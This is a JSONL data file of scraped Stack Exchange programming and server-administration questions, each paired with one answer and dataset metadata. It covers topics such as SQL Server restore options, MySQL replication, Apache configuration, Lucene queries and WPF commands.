{"id": "hf_8f4702b31d94", "question": "<p>Even though I always strive for complete validation these days, I often wonder if it's a waste of time.  If the code runs and it looks the same in all browsers (I use browsershots.org to verify) then do I need to take it any further or am I just being overly anal?</p>\n\n<p>What level do you hold your code to when you create it for:</p>\n\n<p>a) yourself\nb) your clients</p>\n\n<p>P.S. Jeff and company, why doesn't stack overflow validate? :)</p>\n\n<p><strong>EDIT: Some good insights, I think that since I've been so valid-obsessed for so long I program knowing what will cause problems and what won't so I'm in a better position than people who create a site first and then \"go back and fix the validation problems\"</strong></p>\n\n<p><strong>I think I may post another question on stack overflow; \"Do you validate as you go or do you finish and then go back and validate?\" as that seems to be where this question is going</strong></p>\n", "question_body": "", "answer": "a) Must look the same\nb) As standards-compliant as possible, but not so anal that it blocks finishing work\nIn a situation where you have perpetual access to the code, I don't think standards-compliance is all that important, since you can always make changes to the code if something breaks. If you don't have perpetual access (ie, you sign off on the code and it becomes someone else's responsibility), it's probably best to be as standards-compliant as possible to minimize maintenance headaches later... even if you never have to deal with the code again, your reputation persists and can be transmitted to other potential clients, and many teams like to blame the previous developer(s) for problems that come up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.987834"}
{"id": "hf_5f8d2341988f", "question": "<p>When restoring a SQL Server Database, I notice that there are 3 different Recovery States to choose from:</p>\n\n<ul>\n<li>Restore with Recovery</li>\n<li>Restore with No Recovery</li>\n<li>Restore with Standby</li>\n</ul>\n\n<p>I've always left it at it's default value, but what do they all mean?</p>\n\n<p>(Preferably in layman's terms)</p>\n", "question_body": "", "answer": "From Books On line, i think it is pretty clear after you read it\nNORECOVERY\nInstructs the restore operation to not roll back any uncommitted transactions. Either the NORECOVERY or STANDBY option must be specified if another transaction log has to be applied. If neither NORECOVERY, RECOVERY, or STANDBY is specified, RECOVERY is the default.\nSQL Server requires that the WITH NORECOVERY option be used on all but the final RESTORE statement when restoring a database backup and multiple transaction logs, or when multiple RESTORE statements are needed (for example, a full database backup followed by a differential database backup).\nNote  When specifying the NORECOVERY option, the database is not usable in this intermediate, nonrecovered state.\nWhen used with a file or filegroup restore operation, NORECOVERY forces the database to remain in the restoring state after the restore operation. This is useful in either of these situations:\nA restore script is being run and the log is always being applied.\nA sequence of file restores is used and the database is not intended to be usable between two of the restore operations.\nRECOVERY\nInstructs the restore operation to roll back any uncommitted transactions. After the recovery process, the database is ready for use.\nIf subsequent RESTORE operations (RESTORE LOG, or RESTORE DATABASE from differential) are planned, NORECOVERY or STANDBY should be specified instead.\nIf neither NORECOVERY, RECOVERY, or STANDBY is specified, RECOVERY is the default. When restoring backup sets from an earlier version of SQL Server, a database upgrade may be required. This upgrade is performed automatically when WITH RECOVERY is specified. For more information, see Transaction Log Backups .\nSTANDBY\n= undo_file_name\nSpecifies the undo file name so the recovery effects can be undone. The size required for the undo file depends on the volume of undo actions resulting from uncommitted transactions. If neither NORECOVERY, RECOVERY, or STANDBY is specified, RECOVERY is the default.\nSTANDBY allows a database to be brought up for read-only access between transaction log restores and can be used with either warm standby server situations or special recovery situations in which it is useful to inspect the database between log restores.\nIf the specified undo file name does not exist, SQL Server creates it. If the file does exist, SQL Server overwrites it.\nThe same undo file can be used for consecutive restores of the same database. For more information, see Using Standby Servers.\nImportant  If free disk space is exhausted on the drive containing the specified undo file name, the restore operation stops.\nSTANDBY is not allowed when a database upgrade is necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.015504"}
{"id": "hf_9dcf37563aa8", "question": "<p>I'd like to allow a user to set up an SSH tunnel to a particular machine on a particular port (say, 5000), but I want to restrict this user as much as possible. (Authentication will be with public/private keypair).</p>\n\n<p>I know I need to edit the relevant ~/.ssh/authorized_keys file, but I'm not sure exactly what content to put in there (other than the public key).</p>\n", "question_body": "", "answer": "See\nthis post on authenticating public keys\n.\nThe two main things you need to remember are:\nMake sure you\n```\nchmod 700 ~/.ssh\n```\nAppend the public key block to authorized-keys", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.091643"}
{"id": "hf_8908b8a06cbd", "question": "<p>When I have two mysql servers that have different jobs (holding different databases) but want to be able to use one of them to slip in when the other one fails, what would you suggest how I keep the data on both of them equal \"close to realtime\"? </p>\n\n<p>Obviously it's not possible to make a full database dump every x minutes.</p>\n\n<p>I've read about the <a href=\"http://dev.mysql.com/doc/refman/5.0/en/binary-log.html\" rel=\"noreferrer\">Binary Log</a>, is that the way that I need to go? Will that not slow down the fallback server a lot? Is there a way to not include some tables in the binary log - where it doesn't matter that the data has changed?</p>\n", "question_body": "", "answer": "Binary log is definitely the way to go. However, you should be aware that with\nMySQL\nyou can't just flip back and forth between servers like that.\nOne server will be the\nmaster\nand the other will be the slave. You write/read to the master, but can only read from the slave server. If you ever write to the slave, they'll be out of sync and there's no easy way to get them to sync up again (basically, you have to swap them so the master is the new slave, but this is a tedious manual process).\nIf you need true hot-swappable backup databases you might have to go to a system other than\nMySQL\n. If all you want is a read-only live backup that you can use instantly in the worst-case scenario (master is permanently destroyed), Binary Log will suit you just fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.138402"}
{"id": "hf_649d1f810736", "question": "<p>Is there a general procedure for programming extensibility capability into your code?</p>\n\n<p>I am wondering what the general procedure is for adding extension-type capability to a system you are writing so that functionality can be extended through some kind of plugin API rather than having to modify the core code of a system.</p>\n\n<p>Do such things tend to be dependent on the language the system was written in, or is there a general method for allowing for this?</p>\n", "question_body": "", "answer": "Find out what minimum requrements you want to put on a plugin writer. Then make one or more Interfaces that the writer must implement for your code to know when and where to execute the code.\nMake an API the writer can use to access some of the functionality in your code.\nYou could also make a base class the writer must inherit. This will make wiring up the API easier. Then use some kind of reflection to scan a directory, and load the classes you find that matches your requirements.\nSome people also make a scripting language for their system, or implements an interpreter for a subset of an existing language. This is also a possible route to go.\nBottom line is: When you get the code to load, only your imagination should be able to stop you.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.187066"}
{"id": "hf_eb1e979f6158", "question": "<p>How can I find the high water mark (the historical maximum number of concurrent users) in an <strong>oracle database (9i)</strong>.</p>\n", "question_body": "", "answer": "This should do the trick:\n```\n```\nSELECT sessions_highwater FROM v$license;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.222923"}
{"id": "hf_a9b8873db1f9", "question": "<p>How can I figure out the size of a file, in bytes?</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nunsigned int fsize(char* file){\n  //what goes here?\n}\n</code></pre>\n", "question_body": "", "answer": "If you're fine with using the std c library:\n```\n```\n#include <sys/stat.h>\noff_t fsize(char *file) {\n    struct stat filestat;\n    if (stat(file, &filestat) == 0) {\n        return filestat.st_size;\n    }\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.333973"}
{"id": "hf_4543a377444c", "question": "<p>What is the best way to create redundant subversion repositories?</p>\n\n<p>I have a subversion repository (linked through apache2 and WebDAV) and would like to create a mirror repository on a different server in the event of outages, but I am not certain of the best way to proceed.</p>\n\n<p>I am thinking that post-commit scripts could be used to propagate changes, but I am not sure if this is the best way to go, anyone have any input</p>\n", "question_body": "", "answer": "Do you really need per-commit back-ups? There are almost certainly better ways of safe-guarding against failures than going down that route. For example, given that most failures are disk failures, move to a RAID array and/or NAS/SAN storage will provide you with better general protection and, if configured correctly, better performance. At that point, off-site back-ups becomes a matter of using the tools available. See the\nRepository maintenance section\nof the svn manual for details.\nIf you truly do need per-commit back-ups then, yeah, post-commit scripts are the way to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.392433"}
{"id": "hf_328503f42256", "question": "<p>I need to prevent <a href=\"http://www.owasp.org/index.php/Session_Fixation\" rel=\"noreferrer\">Session Fixation</a>, a particular type of session hijacking, in a Java web application running in JBoss. However, it appears that the standard idiom <a href=\"http://www.owasp.org/index.php/Session_Fixation_in_Java\" rel=\"noreferrer\">doesn't work in JBoss</a>. Can this be worked around?</p>\n", "question_body": "", "answer": "This defect\n(found\nhere\n) points the way to the solution. The Tomcat instance that runs in JBoss is configured with emptySessionPath=\"true\", rather than \"false\", which is the default. This can be modified in\n```\n.../deploy/jboss-web.deployer/server.xml\n```\n; both the HTTP and AJP connectors have this option.\nThe feature itself is used to eliminate the context path (eg. \"foo\" in\nhttp://example.com/foo\n) from being included in the JSESSIONID cookie. Setting it to false will break applications that rely on cross-application authentication, which includes stuff built using some portal frameworks. It didn't negatively affect the application in question, however.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.416037"}
{"id": "hf_740b21ec11ba", "question": "<p>What is the best way to transparently rewrite a URL over an SSL connection with Apache 2.2?</p>\n\n<p>Apache 2 does not natively support multiple name-based virtual hosts for an SSL connection and I have heard that mod_rewrite can help with this. I would like to do something like this:</p>\n\n<p>I have set up the server so that the sites can be accessed by</p>\n\n<p><a href=\"https://secure.example.com/dbadmin\" rel=\"nofollow noreferrer\">https://secure.example.com/dbadmin</a></p>\n\n<p>but I would like to have this as <a href=\"https://dbadmin.example.com\" rel=\"nofollow noreferrer\">https://dbadmin.example.com</a></p>\n\n<p>How do I set it up so that the Rewrite rule will rewrite dbadmin.example.com to secure.example.com/dbadmin, but without displaying the rewrite on the client's address bar (i.e. the client will still just see dbadmin.example.com), all over https?</p>\n", "question_body": "", "answer": "There is apaches mod_rewrite, or you could setup apache to direct\nhttps://dbadmin.example.com\nto path/to/example.com/dbadmin on the server\n```\n```\n<VirtualHost *>\nServerName subdomain.domain.com\nDocumentRoot /home/httpd/htdocs/subdomain/\n</VirtualHost>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.463891"}
{"id": "hf_4d822d50f781", "question": "<p>I'm using <code>.htaccess</code> and <code>mod_rewrite</code> to point to files that reside behind the DocumentRoot. My folder structure looks like this:</p>\n\n<pre><code>home/\n    webroot/\n    other_files/\n</code></pre>\n\n<p>I have a <code>.htaccess</code> file in webroot with the following content:</p>\n\n<pre>\nRewriteEngine on\nRewriteRule ^(.*)$ /home/other_files/$1\n</pre>\n\n<p>If I try to access <a href=\"http://example.com/file.html\" rel=\"noreferrer\">http://example.com/file.html</a> I receive the following error:  </p>\n\n<blockquote>\n  <p>The requested URL /home/other_files/file.html was not found on this server.  </p>\n</blockquote>\n\n<p>Is it even possible to load files that are behind the DocumentRoot? If so, can someone point me in the right direction?</p>\n", "question_body": "", "answer": "I believe you need to add a section with\n```\n```\n<Directory \"/home/other_files\">\n  (options)\n</Directory>\n```\n```\nto your server configuration before apache will be able to serve anything from it.  For an example, my DocumentRoot is /var/www but there is this section in the default available site:\n```\n```\nAlias /doc/ \"/usr/share/doc/\"\n<Directory \"/usr/share/doc/\">\n    Options Indexes MultiViews FollowSymLinks\n    AllowOverride None\n    Order deny,allow\n    Deny from all\n    Allow from 127.0.0.0/255.0.0.0 ::1/128\n</Directory>\n```\n```\nYou could then rewrite a URL to go to /doc/ and the server would know where to get the files from.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.554529"}
{"id": "hf_1ead3e428243", "question": "<p>From time to time I see an enum like the following:</p>\n\n<pre><code>[Flags]\npublic enum Options \n{\n    None    = 0,\n    Option1 = 1,\n    Option2 = 2,\n    Option3 = 4,\n    Option4 = 8\n}\n</code></pre>\n\n<p>I don't understand what exactly the <code>[Flags]</code> attribute does.</p>\n\n<p>Anyone have a good explanation or example they could post?</p>\n", "question_body": "", "answer": "Flags allow you to use bitmasking inside your enumeration.  This allows you to combine enumeration values, while retaining which ones are specified.\n```\n```\n[Flags]\npublic enum DashboardItemPresentationProperties : long\n{\n    None = 0,\n    HideCollapse = 1,\n    HideDelete = 2,\n    HideEdit = 4,\n    HideOpenInNewWindow = 8,\n    HideResetSource = 16,\n    HideMenu = 32\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.591532"}
{"id": "hf_30b50df0ebed", "question": "<p>Anyone have a decent example, preferably practical/useful, they could post demonstrating the concept?</p>\n", "question_body": "", "answer": "It's a fairly simple process. Take a function, bind one of its arguments and return a new function. For example:\n```\n```\nlet concatStrings left right = left + right\nlet makeCommandPrompt= appendString \"c:\\> \"\n```\n```\nNow by currying the simple concatStrings function, you can easily add a DOS style command prompt to the front of any string! Really useful!\nOkay, not really. A more useful case I find is when I want to have a make a function that returns me data in a stream like manner.\n```\n```\nlet readDWORD array i = array[i] | array[i + 1] << 8 | array[i + 2] << 16 | \n    array[i + 3] << 24 //I've actually used this function in Python.\n```\n```\nThe convenient part about it is that rather than creating an entire class for this sort of thing, calling the constructor, calling obj.readDWORD(), you just have a function that can't be mutated out from under you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.616298"}
{"id": "hf_211f0f9d51c8", "question": "<p>I've done some WPF programing and one thing I never got was the command pattern.  Every example seems to be for built in ones, edit, cut, paste.  Anyone have an example or suggestion of best practice for custom commands?</p>\n", "question_body": "", "answer": "Ah ha! A question I can answer! Firstly, I should mention that I have personally found it easier to define and hook up commands in code rather than in XAML. It allows me to hook up the handlers for the commands a little more flexibly than an all XAML approach does.\nYou should work out what commands you want to have and what they relate to. In my application, I currently have a class for defining important application commands like so:\n```\n```\npublic static class CommandBank\n{\n  /// Command definition for Closing a window\n  public static RoutedUICommand CloseWindow { get; private set; }\n\n  /// Static private constructor, sets up all application wide commands.\n  static CommandBank()\n  {\n    CloseWindow = new RoutedUICommand();\n    CloseWindow.InputGestures.Add(new KeyGesture(Key.F4, ModifierKeys.Alt));\n    // ...\n  }\n```\n```\nNow, because I wanted to keep the code all together, using a code only approach to Commands lets me put the following methods in the class above:\n```\n```\n/// Closes the window provided as a parameter\npublic static void CloseWindowExecute(object sender, ExecutedRoutedEventArgs e)\n{\n  ((Window)e.Parameter).Close();\n}\n\n/// Allows a Command to execute if the CommandParameter is not a null value\npublic static void CanExecuteIfParameterIsNotNull(object sender, CanExecuteRoutedEventArgs e)\n{\n  e.CanExecute = e.Parameter != null;\n  e.Handled = true;\n}\n```\n```\nThe second method there can even be shared with other Commands without me having to repeat it all over the place.\nOnce you have defined the commands like this, you can add them to any piece of UI. In the following, once the Window has Loaded, I add command bindings to both the Window and MenuItem and then add an input binding to the Window using a loop to do this for all command bindings. The parameter that is passed is the Window its self so the code above knows what Window to try and close.\n```\n```\npublic partial class SimpleWindow : Window\n{\n  private void WindowLoaded(object sender, RoutedEventArgs e)\n  {\n    // ...\n    this.CommandBindings.Add(\n      new CommandBinding(\n        CommandBank.CloseWindow,\n        CommandBank.CloseWindowExecute,\n        CommandBank.CanExecuteIfParameterIsNotNull));\n\n    foreach (CommandBinding binding in this.CommandBindings)\n    {\n       RoutedCommand command = (RoutedCommand)binding.Command;\n       if (command.InputGestures.Count > 0)\n       {\n         foreach (InputGesture gesture in command.InputGestures)\n         {\n           var iBind = new InputBinding(command, gesture);\n           iBind.CommandParameter = this;\n           this.InputBindings.Add(iBind);\n         }\n       }\n    }\n\n    // menuItemExit is defined in XAML\n    menuItemExit.Command = CommandBank.CloseWindow;\n    menuItemExit.CommandParameter = this;\n    // ...\n  }\n\n  // ....\n}\n```\n```\nI then also later have event handlers for the WindowClosing and WindowClosed events, I do recommend you make the actual implementation of commands as small and generic as possible. As in this case, I didn't try to put code that tries to stop the Window closing if there is unsaved data, I kept that code firmly inside the WindowClosing event.\nLet me know if you have any follow up questions. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.651503"}
{"id": "hf_d3601df26048", "question": "<p>Are there any handy general items you put in your .procmailrc file?</p>\n", "question_body": "", "answer": "Just simple things - move messages to appropriate folders, forward some stuff to an email2sms address, move spam to spam folder. One thing I'm kind of proud of is how to mark your spam as \"read\" (this is for Courier IMAP and Maildir, where \"read\" means \"move to different folder and change the filename\"):\n```\n```\n:0                                                                              \n* ^X-Spam                       # the header our filter inserts for spam                                                                   \n{                                                                               \n    :0                                                                         \n    .Junk\\ E-mail/              # stores in .Junk E-mail/new/                                                                                      \n\n    :0                                                                          \n    * LASTFOLDER ?? /\\/[^/]+$   # get the stored message's filename                                                   \n    { tail=$MATCH }             # and put it into $tail\n    # now move the message                                                            \n    TRAP=\"mv .Junk\\ E-mail/new/$tail .Junk\\ E-mail/cur/$tail:2,S\"               \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.699692"}
{"id": "hf_d5a337ed0e9d", "question": "<p>I've moved from TFS to SVN (TortoiseSVN) with my current company. I really miss the \"Shelve\" feature of TFS. I've read various articles on how to \"Shelve\" with SVN, but I've read nothing that gives a very simple experience to \"shelve\" work.</p>\n\n<p>Ideally, I'd like extra items added to the TortoiseSVN context menu - \"Shelve\" &amp; \"Unshelve\".\n\"Shelve\" would remove the current shelve-set, and upload the working directory under a suitable path defined by user options. \"Unshelve\" would merge the set with the working copy.</p>\n\n<p>Does something like this exist? Can anyone suggest any ways to \"hack\" this feature in the GUI?</p>\n\n<p>Note: The following link doesn't really achieve the user experience I was looking for:</p>\n\n<p><a href=\"http://mikemason.ca/2005/03/30/\" rel=\"noreferrer\">Shelving Subversion</a></p>\n\n<p>One of the greatest things about TFS Shelve is how easy it is to use...</p>\n", "question_body": "", "answer": "I don't believe that SVN has this feature built into the server product. I also don't believe anything like this emulated in any clients that I have used, including TortoiseSVN.\nTo get around this problem, I have resorted to using a DVCS such as\nGit\nor\nMercurial\n, to allow me to branch/merge/shelve locally before pushing the content back to SVN. It's arguably a bit of a kludge, but it works really well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.724167"}
{"id": "hf_f9f206fd4e31", "question": "<p>I've had this long term issue in not quite understanding how to implement a decent Lucene sort or ranking.  Say I have a list of cities and their populations. If someone searches \"new\" or \"london\" I want the list of prefix matches ordered by population, and I have that working with a prefix search and an sort by field reversed, where there is a population field, IE New Mexico, New York; or London, Londonderry.</p>\n\n<p>However I also always want the exact matching name to be at the top.  So in the case of \"London\" the list should show \"London, London, Londonderry\" where the first London is in the UK and the second London is in Connecticut, even if Londonderry has a higher population than London CT.</p>\n\n<p>Does anyone have a single query solution?</p>\n", "question_body": "", "answer": "My current solution is to create an exact searcher and a prefix searcher, both sorted by reverse population, and then copy out all my hits starting from the exact hits, moving to the prefix hits.  It makes paging my results slightly more annoying than I think it should be.\nAlso I used a hash to eliminate duplicates but later changed the prefix searcher into a boolean query of a prefix search (MUST) with an exact search (MUST NOT), to have Lucene remove the duplicates. Though this seemed even more wasteful.\nEdit\n: Moved to a comment (since the feature now exists):\nYuval F\nThank you for your blog post ... How would the sort comparator know that the name field \"london\" exactly matches the search term \"london\" if it cannot access the search term?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.761029"}
{"id": "hf_620c07ea1f18", "question": "<p>I've had an app doing prefix searches for a while. Recently the index size was increased and it turned out that some prefixes were too darned numerous for lucene to handle.  It kept throwing me a <a href=\"http://web.archive.org/web/20080901205009/http://lucene.apache.org:80/java/2_3_2/api/core/org/apache/lucene/search/BooleanQuery.TooManyClauses.html\" rel=\"nofollow noreferrer\">Too Many Clauses</a> error, which was very frustrating as I kept looking at my JARs and confirming that none of the included code actually used a boolean query.</p>\n<p>Why doesn't it throw something like a Too Many Hits exception? And why does increasing the boolean query's static max clauses integer actually make this error go away, when I'm definitely only using a prefix query? Is there something fundamental to how queries are run that I'm not understanding; is it that they secretly become Boolean queries?</p>\n", "question_body": "", "answer": "I've hit this before.  It has to do with the fact that lucene, under the covers, turns many (all?) things into boolean queries when you call Query.rewrite()\nFrom:\nhttp://web.archive.org/web/20110915061619/http://lucene.apache.org:80/java/2_2_0/api/org/apache/lucene/search/Query.html\n```\n```\npublic Query rewrite(IndexReader reader)\n              throws IOException\n\n    Expert: called to re-write queries into primitive queries.\n            For example, a PrefixQuery will be rewritten into a\n            BooleanQuery that consists of TermQuerys.\n\n    Throws:\n        IOException\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.784998"}
{"id": "hf_4c4e2305cbf1", "question": "<p>I need to try to lock on an object, and if its already locked just continue (after time out, or without it).</p>\n\n<p>The C# lock statement is blocking.</p>\n", "question_body": "", "answer": "I believe that you can use\n```\nMonitor.TryEnter()\n```\n.\nThe lock statement just translates to a\n```\nMonitor.Enter()\n```\ncall and a\n```\ntry catch\n```\nblock.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.824987"}
{"id": "hf_99d13fef8a05", "question": "<p>Can anyone recommend a good binary XML format? It's for a JavaME application, so it needs to be a) Easy to implement on the server, and b) Easy to write a low-footprint parser for on a low-end JavaME client device.</p>\n\n<p>And it goes without saying that it needs to be smaller than XML, and faster to parse.</p>\n\n<hr>\n\n<p>The data would be something akin to SVG.</p>\n", "question_body": "", "answer": "What kind of data are you planning to use? I would say, that if the server is also done in Java, easiest way for small footprint is to send/receive binary data in predefined format. Just write everything in known order into\n```\nDataOutputStream\n```\n.\nBut it would really depend, what what kind of data are you working on and can you define the format.\nActually you should evaluate, if this kind of optimization is even needed. Maybe you target devices are not\nso\nlimited.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.884430"}
{"id": "hf_0ec649249d6f", "question": "<p>I am trying to load Linq on my .Net 3.5 enabled web server by adding the following to my .aspx page:</p>\n\n<pre><code>&lt;%@ Import Namespace=\"System.Query\" %&gt;\n</code></pre>\n\n<p>However, this fails and tells me it cannot find the namespace.</p>\n\n<blockquote>\n  <p>The type or namespace name 'Query' does not exist in the namespace 'System' </p>\n</blockquote>\n\n<p>I have also tried with no luck:</p>\n\n<ul>\n<li><code>System.Data.Linq</code></li>\n<li><code>System.Linq</code></li>\n<li><code>System.Xml.Linq</code></li>\n</ul>\n\n<p>I believe that .Net 3.5 is working because <code>var hello = \"Hello World\"</code> seems to work.</p>\n\n<p>Can anyone help please?</p>\n\n<p>PS: I just want to clarify that I don't use Visual Studio, I simply have a <a href=\"http://www.ultraedit.com/\" rel=\"nofollow noreferrer\">Text Editor</a> and write my code directly into .aspx files.</p>\n", "question_body": "", "answer": "The\n```\nvar hello\n```\nstuff is compiler magic and will work without Linq.\nTry adding a reference to\n```\nSystem.Core\n```\nSorry, I wasn't clear. I meant add\n```\nSystem.Core\n```\nto the web project's references, not to the page.\nThe\n```\nImport\n```\non the page are basically just using statements, allowing you to skip the namespace on the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:35.981263"}
{"id": "hf_ee4a38446154", "question": "<p>Are there any codes that allow for numerical formatting of data when using string.format?</p>\n", "question_body": "", "answer": "Loads, stick\n```\nstring.Format\n```\ninto Google :-)\nA quite good tutorial is at\niduno", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.005990"}
{"id": "hf_13976866f60c", "question": "<p>Now that .NET v3.5 SP1 has been released (along with VS2008 SP1), we now have access to the .NET entity framework.</p>\n\n<p>My question is this.  When trying to decide between using the Entity Framework and LINQ to SQL as an ORM, what's the difference?</p>\n\n<p>The way I understand it, the Entity Framework (when used with LINQ to Entities) is a 'big brother' to LINQ to SQL?  If this is the case - what advantages does it have?  What can it do that LINQ to SQL can't do on its own?</p>\n", "question_body": "", "answer": "There are a number of obvious differences outlined in that article @lars posted, but short answer is:\nL2S is tightly coupled - object property to specific field of database or more correctly object mapping to a specific database schema\nL2S will only work with SQL Server (as far as I know)\nEF allows mapping a single class to multiple tables\nEF will handle M-M relationships\nEF will have ability to target any ADO.NET data provider\nThe original premise was L2S is for Rapid Development, and EF for more \"enterprisey\" n-tier applications, but that is selling L2S a little short.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.042554"}
{"id": "hf_18c64439695f", "question": "<p>What are the libraries that support XPath? Is there a full implementation? How is the library used? Where is its website?</p>\n", "question_body": "", "answer": "The\nlxml package\nsupports xpath.  It seems to work pretty well, although I've had some trouble with the self:: axis.  There's also\nAmara\n, but I haven't used it personally.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.114334"}
{"id": "hf_0c5d5e7b9718", "question": "<p>I have a script that checks responses from HTTP servers using the PEAR HTTP classes. However, I've recently found that the script fails on FTP servers (and probably anything that's not HTTP or HTTPS). I tried Google, but didn't see any scripts or code that returned the server status code from servers other than HTTP servers.</p>\n\n<p>How can I find out the status of a newsgroup or FTP server using PHP?</p>\n\n<p>EDIT: I should clarify that I am interested only in the ability to read from an FTP server and the directory that I specify. I need to know if the server is dead/gone, I'm not authorized to read, etc.</p>\n\n<p>Please note that, although most of the time I'm language agnostic, the entire website is PHP-driven, so a PHP solution would be the best for easy of maintainability and extensibility in the future.</p>\n", "question_body": "", "answer": "Wouldn't it be simpler to use the built-in PHP FTP* functionality than trying to roll your own?  If the URI is coming from a source outside your control, you would need to check the protocal definition (http:// or ftp://, etc) in order to determine which functionality to use, but that is fairly trivial.  If there is now protocal specified (there really should be!) then you could try to default to http.\nsee\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:36.162231"}
